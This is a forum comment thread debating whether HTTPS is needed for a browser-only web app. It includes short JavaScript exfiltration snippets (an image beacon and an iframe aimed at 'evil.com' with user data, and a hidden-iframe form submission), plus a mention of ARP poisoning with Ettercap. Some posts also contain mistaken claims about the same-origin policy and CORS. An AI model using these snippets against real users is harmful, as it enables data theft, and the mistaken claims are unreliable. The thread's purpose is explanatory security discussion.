That's a case where HTTPS really is essential! If you serve your application code over HTTP, then I can MiTM that connection and replace your application code with something that reads all the user data from the user's browser and then sends it to evil.com.
Also, who says that HTTP content is always plaintext?
How would a man in the middle attack grant you that? This is the reason same origin policy exists. It is the foundation of web security. If can break SOP and prove it in a demonstration you can report this issue to Google as a defect in the top tier of their bug bounty for a sizable reward.
CSP headers won't ever reach the browser if the attacker has MITM, so they are irrelevant.
If the attacker has MITM capabilities they can redirect the page to an untrusted location and bypass the valid server completely. MITM isn't typically limited to layer 7 unless the goal is to stand in the encrypted tunnel.
Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=...".
Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.
> Also, the attacker could inject <img> tags
First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data to append as the URI query string. Third, the image would need to be injected after the user has manually entered information to the site, which eliminates static images in the HTML source. Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser.
> Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to
No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.
The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.)
> First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets.
The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed.
> Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser.
Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off.
>No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.
(I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.)
If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)
Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.
In order for this attack to work evil.com needs to be added to the CORS list in the http header and JavaScript needs to be inserted into the page body to make XHR calls to the evil.com domain.
> Did you test this on HN?
I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.
---
All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.
Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic. The benefit of a man in the middle attack is that the attacker is in the encrypted tunnel between the two end points reading data that is otherwise encrypted and thereby voiding any benefit of encryption.
Modifying traffic is less trivial than reading traffic. It is certainly less valuable when there are security conventions in place to ensure end point authenticity, as in limited to only locations that are available by address and policy.
> I don't mean to brag, but just to point out a possibly relevant credential:
Don't care. I myself have found and reported a critical flaw in V8 that broke recursive function access under certain conditions. I don't remember when the resolution was released to V8, but it was first available to Node with 4.2.4 on 2015-12-23. All prior versions of V8 were impacted.
> If an attacker MITMs yoursite.com and modifies the javascript
And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy yet everybody says its trivial. If you really want to brag and get another 4 digit bug bounty then prove that.
That's not how CORS works; the header is read from the domain being called from JavaScript, not from the domain where the JavaScript came from. So in this case, the injected JS will call evil.com, and so the CORS headers will be read from evil.com.
You have CORS backwards. Domains give other domains permissions to access them in CORS. I think you're thinking of Content-Security-Policy here (which lets a domain specify other domains that may be interacted with from the domain), but I've already mentioned a number of issues with it (the first being that a MITM can just remove that header).
>I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.
If you open example.com and run this in the console:
(new Image).src = 'https://news.ycombinator.com/y18.gif?userdata=123'
then an HTTP(S) request is triggered. The operator of that domain's server can see a request happened and see the userdata parameter. (If you do it with a URL that doesn't respond with an image, then you may see a warning in the console like "Cross-Origin Read Blocking (CORB) blocked cross-origin response ...", but that warning only means that example.com doesn't get to read the response. The request still happened and the attacker already leaked the userdata.)>All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.
If the attacker is the ISP, or controls a wifi router that victims are using, then it's trivial[0].
>Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic.
Wasn't this entire comment chain started from you saying that HTTPS was unnecessary in some certain situation? Everyone is responding to you about attacks that are possible if you decide not to use HTTPS. I think we've lost the plot if you're going to interpret these attacks as if your site is using HTTPS.
> And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy
Easy: run a public wireless router (or run an ISP) that people use to connect to HTTP sites. If you want, you can append some code to any javascript file coming through to POST the contents of localStorage (and indexeddb, etc) to a page on the same domain (and that request will go through you, so you see the data). You filter out any Content-Security-Policy headers that might restrict the page from making ajax connections to itself. There's only one domain involved, so same origin policy doesn't affect anything at all in this situation.
In general terms, you can often write cross-origin, but you can't read.
The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.
<script> var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f); // note that the iframe has now synchronously loaded about:blank, which is treated as same-origin var f_doc = f.contentDocument; f_doc.innerHTML = "<form…></form>"; f_doc.querySelector("form").submit(); f_doc = null; // allow the old document to be GC'd </script>
The fact the iframe navigates to a cross-origin page (and f.contentDocument will then be null) is irrelevant, because the data loss has already happened.
Refused to display 'https://www.cnn.com/' in a frame because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self' https://*.cnn.com:* http://*.cnn.com https://*.cnn.io:* http://*.cnn.io:* *.turner.com:* courageousstudio.com".
Cross origin still applies. This is not something the browser will let you bypass.Here is the code I tested with:
var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f);var f_doc = f.contentDocument; f_doc.getElementsByTagName("body")[0].innerHTML = "<form method='post' action='https://cnn.com'></form>"; f_doc.getElementsByTagName("body")[0].getElementsByTagName("form")[0].submit(); f_doc = null;
I know everybody on here is a CCIE, CISSP, and a client side JavaScript expert, but I promise none of these violations work. If they did work the malicious actor would be stealing far more than simple form data and the web would be completely broken.HTTPS is important because it prevents data from moving across the wire as plain text for everybody to see. It isn't magic.
And CSP vitally is opt-in: if I've performed a MITM attack on example.com I can send whatever CSP header I want, and I obviously control evil.com and therefore can send whatever CSP header I want there.
There are two things that stop that (from here to https://cnn.com) from working: firstly, HN sets:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://cdnjs.cloudflare.com/; frame-src 'self' https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline'
The vital part here is "frame-src 'self' https://www.google.com/recaptcha/": this allows only two sources to be embedded within a frame (the current origin, i.e., https://news.ycombinator.com/ and the exact path https://www.google.com/recaptcha/).I can't actually see that CSP header you're getting on https://cnn.com/ (probably because I immediately get redirected to their international edition, which sets a very different CSP header!), but your quote of the error message says what you need to know: it sets a "frame-ancestors" policy (i.e., it can't be put inside a frame except from those sources).
But again—CSP is opt-in, if I control http://example.com and http://evil.com (either directly or through a MITM) I can control what CSP header gets sent on both and therefore CSP provides no defence against such an attack (it does, however, provide a defence-in-depth against XSS and similar attacks, as it makes such an attack as this impossible).
As some evidence the SOP doesn't prevent form submission: https://developer.mozilla.org/en-US/docs/Web/Security/Same-o... says "Cross-origin writes are typically allowed. Examples are links, redirects and form submissions."
If you want more detail about such a thing working, you can follow the form submission algorithm in all of its gory detail: https://html.spec.whatwg.org/multipage/form-control-infrastr...
If you want my promise, as someone who's worked on browsers for around a decade, often around JS and DOM, and dealt with some of the triaging of crossfuzz issues, this absolutely does not violate the SOP and does work with no CSP headers in use.
Luckily www.google-analytics.com is HSTS preloaded, and the cert the attacker served wasn't signed, so the request was blocked.
But now imagine that instead of doing that to www.google-analytics.com, they did it to yoursite.com, but you don't have HTTPS enabled, so they are free to send whatever scrips they want to your users, return whatever data they want to their server (which the users's computer thinks is yoursite.com), and can even do a 301 redirect to their own domain after the initial attack to make sure they can keep unsuspecting victims under their control for long after their DNS cache poisoning gets fixed.
Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets.
Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.
I really don't think anybody is thinking of ARP poisoning when all these comments here mention public facing MiTM attacks merely because a page is served with HTTP instead of HTTPS. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.
Another possibility - compromising home routers: https://arstechnica.com/information-technology/2018/05/hacke...
Other possible attacks would be to compromise an internal router at an office (affecting everyone up to the CEO), controlling a VPN or Tor exit node, etc.
None of these give you the possibility of creating your own cert, but they do give you enough MITM access to fully compromise an HTTP site.
Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.
The attack works in the sense that the traffic starts flowing through the attacker's machine, but the attacker is still prevented from changing anything in the page. That's the whole point of SSL/TLS.
If there is no content, you have no site, so the issue is moot.
> My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code.
The application is content, and the thing you need HTTPS to protect. Otherwise, the application the user actually runs could be anything an attacker wants.
> I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted.
It's not, because the code you send controls what happens with the data.
> A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code.
It can, because in an MITM the attacker impersonates your site. The therefore can bypass any protection offered the same origin policy, because they own your origin.
That isn’t true either as TLS protects http headers in addition to the http body.
Modification of requested content does not void the same origin policy. Just because you could modify page content does not mean you could transmit that content to an alternate location.
Yes, if I can masquerade as your domain, I can have the data transmitted back to the same server conducting the attack (which is the “same origin”), which can then send it anywhere else.
How would you do that? If you could do that you could also masquerade the HTTPS connection and simply run HTTPS at the spoofed server using the spoofed X.509 cert from the legitimate web server.
To be more clear a malicious website can rely on fraudulently issued certificates to validate a spoofed domain. This is a bad cert that appears to be valid and establishes the same level of trust. That is why revocation lists and OCSP are necessary.
If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.
At that point the attacker can use that JavaScript to send your user's data to another server under their control, same origin won't help, as the JavaScript will appear to come from your site.
How? SOP isn't related to the code. It is only concerned with the page address.
(new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);If someone man-in-the-middled the downloading of the app code (trivial, if not HTTPS), then none of those constraints you later mention would be true and the user’s data is now compromised.
If you can break same origin policy submit a bug to Google. That would be a significant defect that would warrant their top tier bug bounty.
Seriously, use HTTPS for everything. Not to be rude at all (seriously!), but it’s pretty obvious by this thread and the other you linked to that you don’t have the knowledge/experience on this topic, so do your users a favor and trust when I say you need to be using HTTPS.
[0] https://www.theregister.co.uk/2015/03/27/github_under_fire_f...
SOP offers zero protection against this. Just load evil.com?data=XYZ in an iframe.
Where? I’m happy to prove the attack vector if necessary, would be trivial for me to do if the app is designed the way you described it (and no, not eligible for any Google bounty as this has nothing to do with same origin policy).
https://developer.mozilla.org/en-US/docs/Web/Security/Subres...
If a site exists just to host resources protected with SRI then you can in principle use HTTP, the resource integrity protection will fire and so long as the main page's origin was genuine (e.g. protected with HTTPS) you come out OK...
But SRI isn't even implemented at all in Safari or IE. So, there's a good chance if you have Mac or Windows users they're screwed.
This really is a corner case, even if some day Safari and IE get SRI, you should always just use HTTPS to actually protect resources in flight. The purpose of SRI is more around not fully trusting a sub-resource you've intentionally linked not to be changed.
If integrity of the application is violated the application is broken or defective. Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application is a diff tool, so it can perform self validation across the wire by comparing the transmitted application code against the stored application code.
It could, if you had any guarantee that the application code was not compromised the first time, and if you had a customized browser that responded to a navigation request by checking for and running the stored application code for th URL to decide whether or not to use the downloaded code. But that's not the way browsers normally work.
Furthermore, even if it was, the case of “A web application hooks into the web request lifecycle to guarantee that it's code can never be changed once first loaded and which stores all user data locally” is an unusual-enough case (if even possible to implement) that there is a good reason that the always-HTTPS crowd doesn't address it: it's simply not a case which has any real-world relevance. At that point, sure, you don't need HTTPS after the initial download, because you don't need web requests at all since you are effectively unconditionally throwing away the response in favor of locally stored code.
It won't stop a modified code from pushing data to anywhere in the web either.
> More fortunately still the application is a diff tool, so it can perform self validation
Yes, if the application has been loaded before but I feel like it would be a half-baked HSTS implementation.
Edit: it was too convoluted
https://en.wikipedia.org/wiki/Transport_Layer_Security
Simply modify the TCP connection in transit to return other TSL encrypted data than what the user asked for. Really, if you are already at the router you can essentially do anything to the user's traffic and modify it in any way except read encrypted data. Simply redirect the user to a spoofed domain with a spoofed page running malicious code sent as HTTPS. Then you can gather all the privacy data you want through HTTPS.
The router (or anything else between your computer and the server) can modify the content in transport to its heart's content, but it won't be able to sign it with the domain's private key, and so the browser will always know when such modifications have taken place and flag them as malicious.
Perhaps you will take it more seriously if it comes from Wikipedia: https://en.wikipedia.org/wiki/Certificate_authority#Validati...
> If the malicious site uses the valid domain and a spoofed cert for that domain it cannot tell the difference and will establish the very same trust. The browser has no way of knowing if the requested domain is hosted from the appropriate IP address.
In your scenario, the browser receives the spoofed certificate. The domain matches, but when it checks the certificate chain against its root certificates, it can't find a matching signature. Because of this, the browser knows the certificate hasn't been signed by a certificate authority it trusts, and it throws up that warning page about visiting an unsafe site.
Your Wikipedia article (and my earlier caveat about the server's private key being compromised) refers not to spoofing a cert, but to the CA being tricked into signing a certificate for a party who doesn't control the domain:
> In particular, it is always vulnerable to attacks that allow an adversary to observe the domain validation probes that CAs send.
In this case, requests to that specific domain would be vulnerable to man-in-the-middle attacks. However, it's outside the scope of TLS, which only ensures security in transport when neither the client nor the server have been compromised; it has nothing to do with securing private keys or verifying control of a domain in the first place.
If the initial request is HTTPS, everything is validated, and a spoofed redirect is impossible.
1. Alice proposes to send encrypted messages to Bob, she hopes this first, unencrypted, message reaches Bob (but if it doesn't she'll be fine, except that she reveals she wanted to talk to Bob) and it has a Diffie-Hellman Key Share inside it which is just basically a number Alice got by doing some mathematics on a (different) random number that Alice never tells anybody, even Bob.
2. Somebody receives Alice's message, they do the other half of the Diffie-Hellman Key Share, and send that to Alice. Both this somebody and Alice now (thanks to DH) have a set of symmetric encryption keys nobody else knows. So using symmetric encryption they immediately have an encrypted channel between Alice and whoever somebody is.
3. The somebody sends Bob's certificate over the encrypted channel. But Bob's certificate is a public document, it does NOT prove this is Bob.
4. If this is really Bob he wraps up everything they both said so far (message from Alice, reply from Bob, sending back a certificate etcetera) and Signs that with his private key which is paired with the public key inside his certificate. He sends the signature to Alice over the encrypted channel. He _could_ also demand a certificate & signature from Alice at this point but on the web basically nobody does this.
5. Now Alice knows this is really Bob and can safely send messages on the encrypted channel to Bob.
There's no need for any messages to be signed with Bob's key after step 4, all messages are protected with the symmetric encryption keys agreed in steps 1 & 2.
Simply "flagging" things if they're apparently changed isn't good enough, bad guys can use this to create an "Oracle" which destroys security eventually. Instead modern TLS with AEAD will simply abort the entire connection after decrypting a message which has been tampered with, and (correct implementations of) TLS refuse to give you partially decrypted messages, either the whole message arrives and is decrypted successfully, or it hasn't and you can't have the data. Thus an adversary learns nothing from tampering: They know they tampered with the message, and it's not a surprise this blew up the connection - doing it again, and again, and again teaches them nothing further.
If you want to see how it could go wrong otherwise, check out videos of "Lucky Thirteen" which gradually guesses bits of data your browser is wiling to send repeatedly over HTTPS connections while it improves the guess (e.g. cookies). A modern browser mitigates this attack by making the timing involved impractical, but AEAD is better.
These attacks would work well for advertising because the ISP would inject an iframe into the page that sources unique content and beacons data back to the source of the iframe. This breaks anonymity, but it doesn't break privacy since the code in the iframe cannot access the surrounding page.
Wikipedia also explains this limitation with regard to breaking DNS: https://en.wikipedia.org/wiki/Certificate_authority
None of that is what HTTPS is for though. The primary function of HTTPS is to prevent HTTP traffic from being sent in the clear so that anybody could read it.
Spoofing a certificate isn't trivial but fraudulent certificates are a thing. This is why there are revocation lists and OCSP.
There are many arguments in the article, and more that he links to, arguing for the security benefits of HTTPS. HTTPS is good for protecting content.
One very serious argument that HTTPS evangelists avoid is when there is no content to protect the security benefits of HTTPS evaporate. My site is a web application that stores all user data in their browser. Their data does not come back to the server. The only thing that crosses the wire is a request for the application code and a response with that code.
I would argue this model of application is substantially more secure that sending data across the wire regardless of whether that transmission is encrypted. There is nothing individually identifiable or preferential about the application code. The content, identifiable information, and personal/private details remain with the user where they reside anyways.
---
EDIT
Before everybody jumps on the MITM attack bandwagon be aware of https://en.wikipedia.org/wiki/Same-origin_policy
A man in the middle attack can void the integrity of data crossing the wire, but it cannot trivially break privacy with simple modifications to code. This is by design in the architecture of the web.
The only violation in question is code integrity (availability portion of the security CIA triad). Fortunately, this is a solved problem so long as the application is open source. If an integrity violation occurs that renders the application defective simply compare the transmitted application code against the stored publicly available application code. This is made easier when the application in question is a diff tool that can fetch code from across the wire.